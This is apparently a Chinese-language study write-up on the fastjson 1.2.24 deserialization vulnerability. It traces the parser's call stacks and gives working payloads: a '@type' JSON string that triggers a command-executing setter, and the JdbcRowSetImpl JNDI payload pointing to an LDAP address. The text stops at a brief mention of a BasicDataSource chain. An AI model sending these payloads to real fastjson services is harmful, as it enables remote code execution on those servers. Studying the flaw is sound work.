fastjson反序列化

fastjson反序列化

pom.xml

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

Person

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.example.fast;

import java.util.Map;

public class Person {
private int age;
private String name;
private Map map; //只有get方法,使得getonly参数为true,这样就可以调试反序列化

public Person() {
System.out.println("constructor");
}


public int getAge() {
System.out.println("getAge");
return age;
}


public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}


public String getName() {
System.out.println("getName");
return name;
}


public void setName(String name) {
System.out.println("setName");
this.name = name;
}


public Map getMap() {
System.out.println("getMap");
return map;
}
}

test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.example.fast;

import com.alibaba.fastjson.JSON;

public class test {
public static void main(String[] args) {
String s = "{\"@type\":\"com.example.fast.Person\",\"age\":18,\"name\":\"ttt\"}";

Person person = JSON.parseObject(s, Person.class);
System.out.println(person.getName());

}
}

漏洞原理解析

fastjson功能上为了能够适应更多的拓展功能,使用了存在能够识别关键字以及历遍类方法等功能对其json字段进行生成反序列化

1
2
3
4
5
6
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

初探fastJson的AutoType_fastjson autotype作用-CSDN博客

具体调用流程

1
2
3
4
5
6
7
8
9
10
createJavaBeanDeserializer:510, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser)
parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, test (com.example.fast)

函数基于Map对json的键值对进行处理

image-20240108004804431

此处进入解析

image-20240108005045183

进行字符串解析

image-20240108005105077

判断key是否是特殊值,满足用户需求,假如出现了特殊值,将会进行java的反序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); // 加载类

if (clazz == null) {
object.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}

lexer.nextToken(JSONToken.COMMA);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
try {
Object instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
}

if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(typeName)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
}

return instance;
} catch (Exception e) {
throw new JSONException("create instance error", e);
}
}

this.setResolveStatus(TypeNameRedirect);

if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
Object newObj = TypeUtils.cast(object, clazz, this.config);
this.parseObject(newObj);
return newObj;
}

ObjectDeserializer deserializer = config.getDeserializer(clazz); // 反序列化
return deserializer.deserialze(this, clazz, fieldName);
}
1
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());  // 加载类

此处进行了classloader,并且采用了缓存,空间换时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

if (contextClassLoader != null) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
// skip
}
1
ObjectDeserializer deserializer = config.getDeserializer(clazz);  // 反序列化

此处进行了反序列化

1
2
createJavaBeanDeserializer:510, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)

image-20240108012629009

image-20240108012643867

1
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {

这个类用于获取我们传输类的全部信息

image-20240108013015837

会对set,get等等的method,field进行特殊化处理,然后将json的信息初始化建立出一个对象

中间在反序列化构造器的时候,因为使用的是父类的流程,所以无法看到调试的过程

如果需要调试的话,可以建立一个getMap使得getonly为真进入到系统的构造器进行调试

中间会调用构造方法,set和get方法

构造方法调用流程

1
2
3
4
5
6
7
8
9
10
11
createInstance:108, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:570, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, test (com.example.fast)

set方法调用流程

1
2
3
4
5
6
7
8
9
10
11
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, test (com.example.fast)

get调用栈流程

1
2
3
4
5
6
7
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:10, test (com.example.fast)

因此最终的流程如下:

传入字符串 -> 解析字符串是否存在关键字 -> 进行类的构造,对于方法,参数等进行设置和添加(只会添加public,set和get) -> 实例化调用构造方法,set方法 -> 调用get方法

简单利用

1
2
3
4
5
6
7
8
9
10
package com.example.fast;

import java.io.IOException;

public class test_command {
public void setCmd(String cmd) throws IOException, IOException {
Runtime.getRuntime().exec(cmd);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.example.fast;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;

public class test {
public static void main(String[] args) {
// 关于绕过ASM动态生成类去调试的方法,直接关闭asm,或者使用:
ParserConfig.getGlobalInstance().setAsmEnable(false); //调试toJSONString
SerializeConfig.getGlobalInstance().setAsmEnable(false); //调试反序列化函数

// 1、解析字符串
// String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
// JSONObject jsonObject = JSON.parseObject(s);
// System.out.println(jsonObject.getString("param1"));

// 2、解析固定类
// String s = "{\"age\":\"18\",\"name\":\"abc\"}";
// Person person = JSON.parseObject(s, Person.class);
// System.out.println(person.getName());

// 3、解析客户端指定的类
// String s = "{\"@type\":\"com.example.fast.Person\",\"age\":\"18\",\"name\":\"abc\"}";
// JSONObject jsonObject = JSON.parseObject(s);
// System.out.println(jsonObject);

// 4、利用set命令执行

String s = "{\"@type\":\"com.example.fast.test_command\",\"cmd\":\"calc\"}";
JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject);
}
}

具体利用

因为fastjson只需要传入参数即可,与原生的反序列化的不同在于入口处是set或者get方法,以及是否成功在于依赖和版本问题(因为反序列化的逻辑由fastjson来控制)

JdbcRowSetImpl

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class test {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/uPaRCLKe\",\"autoCommit\":false}";
JSON.parseObject(s);
}
}

具体分析

就像之前所说的,我们需要寻找到的需要在get或者set方法中寻找可以利用的代码点。

我们寻找的思路是通过一些危险函数,然后去反向查找方法即可

image-20240111223654628

之后需要选择使用set方法对其进行注入

通过setAutoCommit -> 调用connect() -> lookup() -> 然后getDataSourceName可控,就可以构造出这条链子了

image-20240111224745282

image-20240111224948203

image-20240111225345499

BasicDataSource

对于这条链子,主要解决了不出网的情况